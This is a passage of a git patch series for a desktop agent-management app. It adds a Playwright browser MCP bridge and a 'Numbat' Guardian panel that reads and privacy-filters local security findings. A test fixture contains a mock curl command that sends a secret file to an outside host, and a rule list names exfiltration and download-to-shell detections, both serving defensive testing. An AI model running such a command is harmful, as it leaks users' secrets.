From 740edf714e9a21e6d1fd28341b42833dad03d80d Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Tue, 28 Jul 2026 15:08:03 -0400 Subject: [PATCH 01/27] feat(acp): add isolated browser MCP bridge Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- crates/buzz-acp/src/lib.rs | 71 ++++++++++++++++++- .../src-tauri/src/managed_agents/env_vars.rs | 2 + .../src-tauri/src/managed_agents/runtime.rs | 19 +++++ 3 files changed, 89 insertions(+), 3 deletions(-) diff --git a/crates/buzz-acp/src/lib.rs b/crates/buzz-acp/src/lib.rs index b11d96d8f7..ec2a7c0483 100644 --- a/crates/buzz-acp/src/lib.rs +++ b/crates/buzz-acp/src/lib.rs @@ -4140,10 +4140,37 @@ async fn run_models(args: ModelsArgs) -> Result<()> { } fn build_mcp_servers(config: &Config) -> Vec { + let browser = std::env::var("BUZZ_ACP_BROWSER_MCP_COMMAND") + .ok() + .filter(|command| !command.is_empty()) + .map(|command| { + let args = std::env::var("BUZZ_ACP_BROWSER_MCP_ARGS") + .ok() + .and_then(|raw| serde_json::from_str::>(&raw).ok()) + .unwrap_or_default(); + (command, args) + }); + build_mcp_servers_with_browser(config, browser) +} + +fn build_mcp_servers_with_browser( + config: &Config, + browser: Option<(String, Vec)>, +) -> Vec { + let mut servers = Vec::new(); + if let Some((command, args)) = browser { + servers.push(McpServer { + name: "playwright".into(), + command, + args, + env: vec![], + }); + } + if config.mcp_command.is_empty() { - return vec![]; + return servers; } - vec![McpServer { + servers.push(McpServer { name: std::path::Path::new(&config.mcp_command) .file_stem() .and_then(|s| s.to_str()) @@ -4193,7 +4220,8 @@ fn build_mcp_servers(config: &Config) -> Vec { } env }, - }] + }); + servers } #[cfg(test)] @@ -5147,6 +5175,43 @@ mod build_mcp_servers_tests { "Path::new(\".\").file_stem() is None — should fall back to \"mcp\"" ); } + + #[test] + fn browser_mcp_is_added_alongside_dev_mcp() { + let config = test_config(); + let servers = build_mcp_servers_with_browser( + &config, + Some(( + "/opt/homebrew/bin/npx".into(), + vec![ + "--yes".into(), + "@playwright/mcp@0.0.78".into(), + "--browser".into(), + "chrome".into(), + "--isolated".into(), + ], + )), + ); + + assert_eq!(servers.len(), 2); + assert_eq!(servers[0].name, "playwright"); + assert_eq!(servers[0].command, "/opt/homebrew/bin/npx"); + assert_eq!(servers[0].args[1], "@playwright/mcp@0.0.78"); + assert_eq!(servers[1].name, "test-mcp-server"); + } + + #[test] + fn browser_mcp_works_without_dev_mcp() { + let mut config = test_config(); + config.mcp_command.clear(); + let servers = build_mcp_servers_with_browser( + &config, + Some(("npx".into(), vec!["@playwright/mcp@0.0.78".into()])), + ); + + assert_eq!(servers.len(), 1); + assert_eq!(servers[0].name, "playwright"); + } } #[cfg(test)] diff --git a/desktop/src-tauri/src/managed_agents/env_vars.rs b/desktop/src-tauri/src/managed_agents/env_vars.rs index 592a5cbbd9..525c35ca1c 100644 --- a/desktop/src-tauri/src/managed_agents/env_vars.rs +++ b/desktop/src-tauri/src/managed_agents/env_vars.rs @@ -71,6 +71,8 @@ pub(crate) const RESERVED_ENV_KEYS: &[&str] = &[ "BUZZ_ACP_AGENT_COMMAND", "BUZZ_ACP_AGENT_ARGS", "BUZZ_ACP_MCP_COMMAND", + "BUZZ_ACP_BROWSER_MCP_COMMAND", + "BUZZ_ACP_BROWSER_MCP_ARGS", // Security gates: respond-to mode + allowlist + legacy owner-only // fallback. Overriding would make the running agent's gate diverge // from the saved/UI-visible settings. diff --git a/desktop/src-tauri/src/managed_agents/runtime.rs b/desktop/src-tauri/src/managed_agents/runtime.rs index f3b4cb67fd..5a2464eb9c 100644 --- a/desktop/src-tauri/src/managed_agents/runtime.rs +++ b/desktop/src-tauri/src/managed_agents/runtime.rs @@ -590,6 +590,25 @@ pub fn spawn_agent_child( command.env("BUZZ_ACP_MCP_COMMAND", ""); } } + // Codex's Chrome extension broker is owned by the Codex host and is not + // exposed through ACP. Give Buzz-managed Codex sessions an independent, + // isolated browser boundary via the official Playwright MCP server instead. + // Pin the package version so agent startup cannot silently change behavior. + if known_acp_runtime(effective_command).is_some_and(|runtime| runtime.id == "codex") { + if let Some(npx) = resolve_command("npx") { + command.env("BUZZ_ACP_BROWSER_MCP_COMMAND", npx); + command.env( + "BUZZ_ACP_BROWSER_MCP_ARGS", + r#"["--yes","@playwright/mcp@0.0.78","--browser","chrome","--isolated"]"#, + ); + } else { + command.env("BUZZ_ACP_BROWSER_MCP_COMMAND", ""); + command.env("BUZZ_ACP_BROWSER_MCP_ARGS", "[]"); + } + } else { + command.env("BUZZ_ACP_BROWSER_MCP_COMMAND", ""); + command.env("BUZZ_ACP_BROWSER_MCP_ARGS", "[]"); + } // Enable MCP hook tools (_Stop, _PostCompact) for agents that need them. // Uses "*" because build_mcp_servers() hard-codes the server name to "buzz-mcp". let runtime_meta = known_acp_runtime(effective_command); From 9bee25bef600f8e13b0f75e3a438a0995a1606a1 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Thu, 30 Jul 2026 13:37:42 -0400 Subject: [PATCH 02/27] Add local Guardian findings to agent observer (#2) Add bounded, privacy-projected local Numbat findings to the agent observer panel and gate cancellation on exact active-turn correlation. Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- desktop/src-tauri/src/commands/mod.rs | 2 + .../src-tauri/src/commands/numbat_findings.rs | 391 ++++++++++++++++++ desktop/src-tauri/src/lib.rs | 1 + .../agents/ui/NumbatSecurityFindings.tsx | 98 +++++ .../features/agents/ui/useNumbatFindings.ts | 79 ++++ .../channels/ui/AgentSessionThreadPanel.tsx | 18 + desktop/src/shared/api/tauriNumbat.ts | 33 ++ desktop/src/testing/e2eBridge.ts | 7 + 8 files changed, 629 insertions(+) create mode 100644 desktop/src-tauri/src/commands/numbat_findings.rs create mode 100644 desktop/src/features/agents/ui/NumbatSecurityFindings.tsx create mode 100644 desktop/src/features/agents/ui/useNumbatFindings.ts create mode 100644 desktop/src/shared/api/tauriNumbat.ts diff --git a/desktop/src-tauri/src/commands/mod.rs b/desktop/src-tauri/src/commands/mod.rs index 1c89ee4f77..4a5dda5b56 100644 --- a/desktop/src-tauri/src/commands/mod.rs +++ b/desktop/src-tauri/src/commands/mod.rs @@ -34,6 +34,7 @@ mod media_transcode; pub(crate) mod mesh_llm; mod messages; mod notifications; +mod numbat_findings; mod observer_archive; mod os_idle; pub mod pairing; @@ -88,6 +89,7 @@ pub use media_download::*; pub use mesh_llm::*; pub use messages::*; pub use notifications::*; +pub use numbat_findings::*; pub use observer_archive::*; pub use os_idle::*; pub use pairing::*; diff --git a/desktop/src-tauri/src/commands/numbat_findings.rs b/desktop/src-tauri/src/commands/numbat_findings.rs new file mode 100644 index 0000000000..b06020326d --- /dev/null +++ b/desktop/src-tauri/src/commands/numbat_findings.rs @@ -0,0 +1,391 @@ +use std::{ + fs::File, + io::{Read as _, Seek as _, SeekFrom}, + path::{Path, PathBuf}, +}; + +use serde::{Deserialize, Serialize}; +use tauri::AppHandle; + +use crate::managed_agents::managed_agents_base_dir; + +const NUMBAT_SCHEMA_VERSION: &str = "0.2.0"; +const MAX_BATCH_BYTES: u64 = 1024 * 1024; +const MAX_BACKLOG_BYTES: u64 = 4 * 1024 * 1024; +const MAX_LINE_BYTES: usize = 64 * 1024; +const MAX_RECORDS_PER_BATCH: usize = 200; +const MAX_IDENTIFIER_CHARS: usize = 160; + +#[derive(Debug, Serialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct NumbatFindingProjection { + finding_id: String, + rule_id: String, + title: String, + severity: String, + detected_at: String, + source_agent: String, + session_id: Option, + channel_id: Option, + turn_id: Option, + evidence_count: usize, +} + +#[derive(Debug, Serialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct NumbatFindingBatch { + next_offset: u64, + reset: bool, + rejected_records: usize, + findings: Vec, +} + +#[derive(Debug, Deserialize)] +struct NumbatFindingRecord { + schema_version: String, + record_type: String, + finding_id: String, + rule_id: String, + severity: String, + detected_at: String, + source_agent: String, + #[serde(default)] + session_id: Option, + #[serde(default)] + buzz_context: Option, + #[serde(default)] + cited_event_ids: Vec, +} + +#[derive(Debug, Deserialize)] +struct NumbatBuzzContext { + #[serde(default)] + channel_id: Option, + #[serde(default)] + turn_id: Option, +} + +fn numbat_findings_path(app: &AppHandle, agent_pubkey: &str) -> Result { + validate_agent_pubkey(agent_pubkey)?; + Ok(managed_agents_base_dir(app)? + .join("numbat") + .join(format!("{agent_pubkey}.ndjson"))) +} + +fn validate_agent_pubkey(value: &str) -> Result<(), String> { + if value.len() != 64 || !value.bytes().all(|byte| byte.is_ascii_hexdigit()) { + return Err("agent pubkey must be 64 hexadecimal characters".to_string()); + } + Ok(()) +} + +fn safe_identifier(value: String) -> Option { + if value.is_empty() + || value.chars().count() > MAX_IDENTIFIER_CHARS + || !value + .chars() + .all(|ch| ch.is_ascii_alphanumeric() || matches!(ch, '.' | '_' | ':' | '-')) + { + return None; + } + Some(value) +} + +fn projected_title(rule_id: &str) -> &'static str { + match rule_id { + "chain.secret_read_then_egress" => "Possible secret exfiltration", + "exec.download_pipe_shell" => "Downloaded content piped to a shell", + "exfil.env_capture_to_network" => "Environment data sent to the network", + "integrity.git_hooks_bypass" => "Git safety hooks bypassed", + "privilege.elevated_shell" => "Elevated shell requested", + "secrets.agent_read_env" => "Sensitive environment data accessed", + "source.git_remote_tamper" => "Git remote-routing change requested", + _ => "Agent security finding", + } +} + +fn safe_timestamp(value: String) -> Option { + if value.len() > 64 || chrono::DateTime::parse_from_rfc3339(&value).is_err() { + return None; + } + Some(value) +} + +fn project_finding(line: &[u8]) -> Option { + let record: NumbatFindingRecord = serde_json::from_slice(line).ok()?; + if record.schema_version != NUMBAT_SCHEMA_VERSION || record.record_type != "finding" { + return None; + } + + let severity = match record.severity.as_str() { + "low" | "medium" | "high" | "critical" => record.severity, + _ => return None, + }; + let rule_id = safe_identifier(record.rule_id)?; + + let (channel_id, turn_id) = record + .buzz_context + .map(|context| { + ( + context.channel_id.and_then(safe_identifier), + context.turn_id.and_then(safe_identifier), + ) + }) + .unwrap_or_default(); + + Some(NumbatFindingProjection { + finding_id: safe_identifier(record.finding_id)?, + title: projected_title(&rule_id).to_string(), + rule_id, + severity, + detected_at: safe_timestamp(record.detected_at)?, + source_agent: safe_identifier(record.source_agent)?, + session_id: record.session_id.and_then(safe_identifier), + channel_id, + turn_id, + evidence_count: record.cited_event_ids.len().min(1000), + }) +} + +fn align_to_next_record(file: &mut File, start: u64) -> Result { + if start == 0 { + return Ok(0); + } + + file.seek(SeekFrom::Start(start)) + .map_err(|error| format!("failed to seek Numbat records: {error}"))?; + let mut byte = [0_u8; 1]; + while file + .read(&mut byte) + .map_err(|error| format!("failed to align Numbat records: {error}"))? + == 1 + { + if byte[0] == b'\n' { + return file + .stream_position() + .map_err(|error| format!("failed to locate Numbat record: {error}")); + } + } + + file.stream_position() + .map_err(|error| format!("failed to locate Numbat record end: {error}")) +} + +fn read_numbat_findings_from_path( + path: &Path, + requested_offset: u64, +) -> Result { + let mut file = match File::open(path) { + Ok(file) => file, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => { + return Ok(NumbatFindingBatch { + next_offset: 0, + reset: requested_offset != 0, + rejected_records: 0, + findings: Vec::new(), + }); + } + Err(error) => return Err(format!("failed to open Numbat records: {error}")), + }; + + let file_len = file + .metadata() + .map_err(|error| format!("failed to inspect Numbat records: {error}"))? + .len(); + let reset = requested_offset > file_len; + let mut offset = if reset { 0 } else { requested_offset }; + + if offset == 0 && file_len > MAX_BACKLOG_BYTES { + offset = align_to_next_record(&mut file, file_len - MAX_BACKLOG_BYTES)?; + } + + file.seek(SeekFrom::Start(offset)) + .map_err(|error| format!("failed to seek Numbat records: {error}"))?; + let mut bytes = Vec::with_capacity(MAX_BATCH_BYTES as usize); + file.take(MAX_BATCH_BYTES) + .read_to_end(&mut bytes) + .map_err(|error| format!("failed to read Numbat records: {error}"))?; + + let mut findings = Vec::new(); + let mut rejected_records = 0; + let mut line_start = 0; + let mut next_offset = offset; + + for (index, byte) in bytes.iter().enumerate() { + if *byte != b'\n' { + continue; + } + + let line = &bytes[line_start..index]; + next_offset = offset + index as u64 + 1; + line_start = index + 1; + + if line.is_empty() { + continue; + } + if line.len() > MAX_LINE_BYTES { + rejected_records += 1; + } else if let Some(finding) = project_finding(line) { + findings.push(finding); + } else { + rejected_records += 1; + } + + if findings.len() + rejected_records >= MAX_RECORDS_PER_BATCH { + break; + } + } + + Ok(NumbatFindingBatch { + next_offset, + reset, + rejected_records, + findings, + }) +} + +/// Read and privacy-project a bounded batch of local Numbat finding records for +/// one managed agent. Raw commands, endpoint identity, paths, and evidence are +/// intentionally never represented in the return type. +#[tauri::command] +pub fn read_numbat_findings( + app: AppHandle, + agent_pubkey: String, + offset: Option, +) -> Result { + let path = numbat_findings_path(&app, &agent_pubkey)?; + read_numbat_findings_from_path(&path, offset.unwrap_or(0)) +} + +#[cfg(test)] +mod tests { + use std::io::Write as _; + + use super::*; + + fn finding_json(overrides: serde_json::Value) -> String { + let mut value = serde_json::json!({ + "schema_version": "0.2.0", + "record_type": "finding", + "finding_id": "fnd-safe-01", + "rule_id": "chain.secret_read_then_egress", + "title": "Secret access followed by network egress", + "severity": "high", + "detected_at": "2026-07-30T14:40:00Z", + "source_agent": "codex", + "session_id": "session-safe-01", + "buzz_context": { + "channel_id": "channel-safe-01", + "turn_id": "turn-safe-01" + }, + "cited_event_ids": ["event-sensitive-secret-read-id", "event-sensitive-egress-id"], + "observed_command": "curl --data-binary @/private/secret https://example.invalid", + "project_path_hash": "sha256:sensitive-project", + "endpoint": { + "hostname": "sensitive-host", + "username": "sensitive-user" + }, + "evidence_refs": [{ + "local_path": "/private/transcript.jsonl" + }] + }); + if let (Some(base), Some(extra)) = (value.as_object_mut(), overrides.as_object()) { + base.extend(extra.clone()); + } + serde_json::to_string(&value).expect("serialize fixture") + } + + #[test] + fn projection_excludes_sensitive_source_fields() { + let projected = + project_finding(finding_json(serde_json::json!({})).as_bytes()).expect("finding"); + let serialized = serde_json::to_string(&projected).expect("serialize projection"); + + assert_eq!(projected.severity, "high"); + assert_eq!(projected.evidence_count, 2); + assert_eq!(projected.channel_id.as_deref(), Some("channel-safe-01")); + assert_eq!(projected.turn_id.as_deref(), Some("turn-safe-01")); + for forbidden in [ + "observed_command", + "curl", + "sensitive-host", + "sensitive-user", + "sensitive-project", + "/private/", + "event-sensitive-secret-read-id", + "event-sensitive-egress-id", + ] { + assert!( + !serialized.contains(forbidden), + "projection leaked {forbidden}" + ); + } + } + + #[test] + fn invalid_schema_severity_and_control_text_are_rejected() { + assert!(project_finding( + finding_json(serde_json::json!({"schema_version": "9.9.9"})).as_bytes() + ) + .is_none()); + assert!(project_finding( + finding_json(serde_json::json!({"severity": "emergency"})).as_bytes() + ) + .is_none()); + let sensitive_title = project_finding( + finding_json(serde_json::json!({ + "title": "Leaked /private/key with token super-secret" + })) + .as_bytes(), + ) + .expect("finding with untrusted source title"); + assert_eq!(sensitive_title.title, "Possible secret exfiltration"); + } + + #[test] + fn validates_agent_pubkey_before_path_construction() { + assert!(validate_agent_pubkey(&"a".repeat(64)).is_ok()); + assert!(validate_agent_pubkey("../../records").is_err()); + assert!(validate_agent_pubkey(&"g".repeat(64)).is_err()); + } + + #[test] + fn reads_only_complete_records_and_advances_cursor() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + let first = finding_json(serde_json::json!({"finding_id": "fnd-first"})); + let second = finding_json(serde_json::json!({"finding_id": "fnd-second"})); + { + let mut file = File::create(&path).expect("create"); + writeln!(file, "{first}").expect("write first"); + write!(file, "{second}").expect("write partial second"); + } + + let first_batch = read_numbat_findings_from_path(&path, 0).expect("first batch"); + assert_eq!(first_batch.findings.len(), 1); + assert_eq!(first_batch.findings[0].finding_id, "fnd-first"); + + { + let mut file = std::fs::OpenOptions::new() + .append(true) + .open(&path) + .expect("append"); + writeln!(file).expect("complete second"); + } + let second_batch = + read_numbat_findings_from_path(&path, first_batch.next_offset).expect("second batch"); + assert_eq!(second_batch.findings.len(), 1); + assert_eq!(second_batch.findings[0].finding_id, "fnd-second"); + } + + #[test] + fn truncation_resets_a_stale_cursor() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + std::fs::write(&path, format!("{}\n", finding_json(serde_json::json!({})))).expect("write"); + + let batch = read_numbat_findings_from_path(&path, u64::MAX).expect("batch"); + assert!(batch.reset); + assert_eq!(batch.findings.len(), 1); + } +} diff --git a/desktop/src-tauri/src/lib.rs b/desktop/src-tauri/src/lib.rs index 08887a6bfb..72c6885809 100644 --- a/desktop/src-tauri/src/lib.rs +++ b/desktop/src-tauri/src/lib.rs @@ -705,6 +705,7 @@ pub fn run() { sign_out, decrypt_observer_event, build_observer_control_event, + read_numbat_findings, create_auth_event, nip44_encrypt_to_self, nip44_decrypt_from_self, diff --git a/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx b/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx new file mode 100644 index 0000000000..6a59a7416b --- /dev/null +++ b/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx @@ -0,0 +1,98 @@ +import { Octagon, ShieldAlert } from "lucide-react"; + +import type { NumbatFinding } from "@/shared/api/tauriNumbat"; +import { Badge } from "@/shared/ui/badge"; +import { Button } from "@/shared/ui/button"; +import { cn } from "@/shared/lib/cn"; + +export function NumbatSecurityFindings({ + activeTurnId, + canCancelTurn, + error, + findings, + onCancelTurn, +}: { + activeTurnId: string | null; + canCancelTurn: boolean; + error: string | null; + findings: NumbatFinding[]; + onCancelTurn: () => void; +}) { + if (findings.length === 0 && !error) return null; + + return ( +
+ {findings + .slice() + .reverse() + .map((finding) => { + const canAct = + canCancelTurn && + finding.turnId !== null && + finding.turnId === activeTurnId && + (finding.severity === "high" || finding.severity === "critical"); + return ( +
+
+
+
+ ); + })} + {error ? ( +

+ Guardian is temporarily unavailable: {error} +

+ ) : null} +
+ ); +} diff --git a/desktop/src/features/agents/ui/useNumbatFindings.ts b/desktop/src/features/agents/ui/useNumbatFindings.ts new file mode 100644 index 0000000000..ec933e50ac --- /dev/null +++ b/desktop/src/features/agents/ui/useNumbatFindings.ts @@ -0,0 +1,79 @@ +import * as React from "react"; + +import { + readNumbatFindings, + type NumbatFinding, +} from "@/shared/api/tauriNumbat"; + +const POLL_INTERVAL_MS = 2_000; +const MAX_FINDINGS = 100; + +export function useNumbatFindings( + agentPubkey: string, + channelId: string | null, +) { + const [findings, setFindings] = React.useState([]); + const [error, setError] = React.useState(null); + + React.useEffect(() => { + let cancelled = false; + let offset = 0; + let timeoutId: number | null = null; + setFindings([]); + setError(null); + + async function poll() { + try { + const batch = await readNumbatFindings(agentPubkey, offset); + if (cancelled) return; + + offset = batch.nextOffset; + setError(null); + setFindings((current) => { + const base = batch.reset ? [] : current; + const byId = new Map( + base.map((finding) => [finding.findingId, finding]), + ); + for (const finding of batch.findings) { + byId.set(finding.findingId, finding); + } + return [...byId.values()] + .sort((left, right) => + left.detectedAt.localeCompare(right.detectedAt), + ) + .slice(-MAX_FINDINGS); + }); + } catch (cause) { + if (!cancelled) { + setError( + cause instanceof Error + ? cause.message + : "Could not read local security findings.", + ); + } + } finally { + if (!cancelled) { + timeoutId = window.setTimeout(poll, POLL_INTERVAL_MS); + } + } + } + + void poll(); + return () => { + cancelled = true; + if (timeoutId !== null) window.clearTimeout(timeoutId); + }; + }, [agentPubkey]); + + const scopedFindings = React.useMemo( + () => + findings.filter((finding) => + channelId === null + ? finding.channelId === null + : finding.channelId === channelId, + ), + [channelId, findings], + ); + + return { error, findings: scopedFindings }; +} diff --git a/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx b/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx index a907f87245..9f701c237b 100644 --- a/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx +++ b/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx @@ -59,6 +59,8 @@ import { useLoadArchivedObserverEvents } from "@/features/agents/ui/useObserverE import { useLoadOlderOnScroll } from "@/features/messages/ui/useLoadOlderOnScroll"; import type { ChannelAgentSessionAgent } from "./useChannelAgentSessions"; import { useChannelsQuery } from "@/features/channels/hooks"; +import { NumbatSecurityFindings } from "@/features/agents/ui/NumbatSecurityFindings"; +import { useNumbatFindings } from "@/features/agents/ui/useNumbatFindings"; type AgentSessionThreadPanelProps = { agent: ChannelAgentSessionAgent; @@ -104,6 +106,7 @@ export function AgentSessionThreadPanel({ sessionChannelId, ); const canStopCurrentTurn = isWorking && canInterruptTurn; + const numbatFindings = useNumbatFindings(agent.pubkey, sessionChannelId); useEscapeKey(onClose, isOverlay || isSinglePanelView); const scrollRef = React.useRef(null); @@ -126,6 +129,14 @@ export function AgentSessionThreadPanel({ () => mergeObserverEventWindows(scopedEvents, archivedChannelEvents), [scopedEvents, archivedChannelEvents], ); + const activeTurnId = React.useMemo(() => { + if (!isWorking) return null; + for (let index = combinedHeaderEvents.length - 1; index >= 0; index -= 1) { + const turnId = combinedHeaderEvents[index]?.turnId; + if (turnId) return turnId; + } + return null; + }, [combinedHeaderEvents, isWorking]); const latestActivityAt = React.useMemo( () => getLatestActivityTimestamp(combinedHeaderEvents), [combinedHeaderEvents], @@ -461,6 +472,13 @@ export function AgentSessionThreadPanel({ >
+ void handleInterruptTurn()} + /> { + return invokeTauri("read_numbat_findings", { + agentPubkey, + offset, + }); +} diff --git a/desktop/src/testing/e2eBridge.ts b/desktop/src/testing/e2eBridge.ts index 7b13273c60..3c22c0e3a3 100644 --- a/desktop/src/testing/e2eBridge.ts +++ b/desktop/src/testing/e2eBridge.ts @@ -11516,6 +11516,13 @@ export function maybeInstallE2eTauriMocks() { } case "agent_metric_archive_default_enabled": return activeConfig?.mock?.agentMetricArchiveDefaultEnabled ?? false; + case "read_numbat_findings": + return { + nextOffset: 0, + reset: false, + rejectedRecords: 0, + findings: [], + }; case "set_prevent_sleep_active": return null; case "plugin:window|is_fullscreen": From caca6401c85c567bdee13525bc472173ae3e21a5 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Thu, 30 Jul 2026 19:17:27 -0400 Subject: [PATCH 03/27] Harden local Guardian findings integration Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- desktop/src-tauri/src/commands/mod.rs | 2 +- .../src-tauri/src/commands/numbat_findings.rs | 303 ++++++++++++++++-- .../src-tauri/src/managed_agents/runtime.rs | 7 + .../agents/ui/NumbatSecurityFindings.tsx | 38 +-- .../features/agents/ui/useNumbatFindings.ts | 24 +- .../channels/ui/AgentSessionThreadPanel.tsx | 16 +- desktop/src/shared/api/tauriNumbat.ts | 10 + desktop/src/testing/e2eBridge.ts | 4 + 8 files changed, 341 insertions(+), 63 deletions(-) diff --git a/desktop/src-tauri/src/commands/mod.rs b/desktop/src-tauri/src/commands/mod.rs index 4a5dda5b56..acacbcfff6 100644 --- a/desktop/src-tauri/src/commands/mod.rs +++ b/desktop/src-tauri/src/commands/mod.rs @@ -34,7 +34,7 @@ mod media_transcode; pub(crate) mod mesh_llm; mod messages; mod notifications; -mod numbat_findings; +pub(crate) mod numbat_findings; mod observer_archive; mod os_idle; pub mod pairing; diff --git a/desktop/src-tauri/src/commands/numbat_findings.rs b/desktop/src-tauri/src/commands/numbat_findings.rs index b06020326d..c4543f2bd0 100644 --- a/desktop/src-tauri/src/commands/numbat_findings.rs +++ b/desktop/src-tauri/src/commands/numbat_findings.rs @@ -1,13 +1,14 @@ use std::{ - fs::File, + fs::{File, OpenOptions}, io::{Read as _, Seek as _, SeekFrom}, path::{Path, PathBuf}, + process::Command, }; use serde::{Deserialize, Serialize}; use tauri::AppHandle; -use crate::managed_agents::managed_agents_base_dir; +use crate::managed_agents::{atomic_write_json_restricted, managed_agents_base_dir}; const NUMBAT_SCHEMA_VERSION: &str = "0.2.0"; const MAX_BATCH_BYTES: u64 = 1024 * 1024; @@ -15,6 +16,7 @@ const MAX_BACKLOG_BYTES: u64 = 4 * 1024 * 1024; const MAX_LINE_BYTES: usize = 64 * 1024; const MAX_RECORDS_PER_BATCH: usize = 200; const MAX_IDENTIFIER_CHARS: usize = 160; +const MAX_LOCAL_RECORD_BYTES: u64 = 8 * 1024 * 1024; #[derive(Debug, Serialize, PartialEq, Eq)] #[serde(rename_all = "camelCase")] @@ -37,9 +39,17 @@ pub struct NumbatFindingBatch { next_offset: u64, reset: bool, rejected_records: usize, + health: NumbatGuardianHealth, findings: Vec, } +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct NumbatGuardianHealth { + state: String, + detail: String, +} + #[derive(Debug, Deserialize)] struct NumbatFindingRecord { schema_version: String, @@ -65,11 +75,18 @@ struct NumbatBuzzContext { turn_id: Option, } +fn numbat_dir(app: &AppHandle) -> Result { + Ok(managed_agents_base_dir(app)?.join("numbat")) +} + fn numbat_findings_path(app: &AppHandle, agent_pubkey: &str) -> Result { validate_agent_pubkey(agent_pubkey)?; - Ok(managed_agents_base_dir(app)? - .join("numbat") - .join(format!("{agent_pubkey}.ndjson"))) + Ok(numbat_dir(app)?.join("live.ndjson")) +} + +fn health_path(app: &AppHandle, agent_pubkey: &str) -> Result { + validate_agent_pubkey(agent_pubkey)?; + Ok(numbat_dir(app)?.join(format!("{agent_pubkey}.health.json"))) } fn validate_agent_pubkey(value: &str) -> Result<(), String> { @@ -111,7 +128,12 @@ fn safe_timestamp(value: String) -> Option { Some(value) } -fn project_finding(line: &[u8]) -> Option { +fn project_finding( + line: &[u8], + expected_session_id: &str, + expected_channel_id: &str, + expected_turn_id: &str, +) -> Option { let record: NumbatFindingRecord = serde_json::from_slice(line).ok()?; if record.schema_version != NUMBAT_SCHEMA_VERSION || record.record_type != "finding" { return None; @@ -123,15 +145,16 @@ fn project_finding(line: &[u8]) -> Option { }; let rule_id = safe_identifier(record.rule_id)?; - let (channel_id, turn_id) = record - .buzz_context - .map(|context| { - ( - context.channel_id.and_then(safe_identifier), - context.turn_id.and_then(safe_identifier), - ) - }) - .unwrap_or_default(); + let session_id = record.session_id.and_then(safe_identifier)?; + if session_id != expected_session_id { + return None; + } + let source_context = record.buzz_context?; + let channel_id = source_context.channel_id.and_then(safe_identifier)?; + let turn_id = source_context.turn_id.and_then(safe_identifier)?; + if channel_id != expected_channel_id || turn_id != expected_turn_id { + return None; + } Some(NumbatFindingProjection { finding_id: safe_identifier(record.finding_id)?, @@ -140,9 +163,9 @@ fn project_finding(line: &[u8]) -> Option { severity, detected_at: safe_timestamp(record.detected_at)?, source_agent: safe_identifier(record.source_agent)?, - session_id: record.session_id.and_then(safe_identifier), - channel_id, - turn_id, + session_id: Some(session_id), + channel_id: Some(channel_id), + turn_id: Some(turn_id), evidence_count: record.cited_event_ids.len().min(1000), }) } @@ -174,6 +197,8 @@ fn align_to_next_record(file: &mut File, start: u64) -> Result { fn read_numbat_findings_from_path( path: &Path, requested_offset: u64, + expected_context: Option<(&str, &str, &str)>, + health: NumbatGuardianHealth, ) -> Result { let mut file = match File::open(path) { Ok(file) => file, @@ -182,6 +207,7 @@ fn read_numbat_findings_from_path( next_offset: 0, reset: requested_offset != 0, rejected_records: 0, + health, findings: Vec::new(), }); } @@ -225,9 +251,11 @@ fn read_numbat_findings_from_path( } if line.len() > MAX_LINE_BYTES { rejected_records += 1; - } else if let Some(finding) = project_finding(line) { - findings.push(finding); - } else { + } else if let Some((session_id, channel_id, turn_id)) = expected_context { + if let Some(finding) = project_finding(line, session_id, channel_id, turn_id) { + findings.push(finding); + } + } else if serde_json::from_slice::(line).is_err() { rejected_records += 1; } @@ -240,10 +268,136 @@ fn read_numbat_findings_from_path( next_offset, reset, rejected_records, + health, findings, }) } +fn write_health(app: &AppHandle, agent_pubkey: &str, health: &NumbatGuardianHealth) { + let Ok(dir) = numbat_dir(app) else { + return; + }; + if std::fs::create_dir_all(&dir).is_err() || set_private_permissions(&dir, 0o700).is_err() { + return; + } + let Ok(path) = health_path(app, agent_pubkey) else { + return; + }; + if let Ok(bytes) = serde_json::to_vec(health) { + let _ = atomic_write_json_restricted(&path, &bytes); + } +} + +fn read_health(app: &AppHandle, agent_pubkey: &str) -> NumbatGuardianHealth { + if let Ok(path) = health_path(app, agent_pubkey) { + if let Ok(bytes) = std::fs::read(path) { + if let Ok(health) = serde_json::from_slice(&bytes) { + return health; + } + } + } + NumbatGuardianHealth { + state: "disconnected".into(), + detail: "Guardian has not been attached to this runtime yet.".into(), + } +} + +#[cfg(unix)] +fn set_private_permissions(path: &Path, mode: u32) -> Result<(), String> { + use std::os::unix::fs::PermissionsExt as _; + std::fs::set_permissions(path, std::fs::Permissions::from_mode(mode)) + .map_err(|error| format!("failed to protect Guardian storage: {error}")) +} + +#[cfg(not(unix))] +fn set_private_permissions(_path: &Path, _mode: u32) -> Result<(), String> { + Ok(()) +} + +/// Idempotently attach Numbat's monitor-only callbacks before a managed runtime +/// starts. Numbat is callback-based (not a daemon), so lifecycle management +/// means keeping the runtime hook installed and its local sink healthy. +pub(crate) fn prepare_numbat_monitoring(app: &AppHandle, runtime: &str, agent_pubkey: &str) { + let runtime = match runtime { + "codex" | "claude" | "goose" => runtime, + _ => return, + }; + let Some(binary) = crate::managed_agents::resolve_command("numbat") else { + write_health( + app, + agent_pubkey, + &NumbatGuardianHealth { + state: "unsupported".into(), + detail: "Numbat is not installed on this device.".into(), + }, + ); + return; + }; + let result = (|| -> Result<(), String> { + let dir = numbat_dir(app)?; + std::fs::create_dir_all(&dir) + .map_err(|error| format!("failed to create Guardian storage: {error}"))?; + 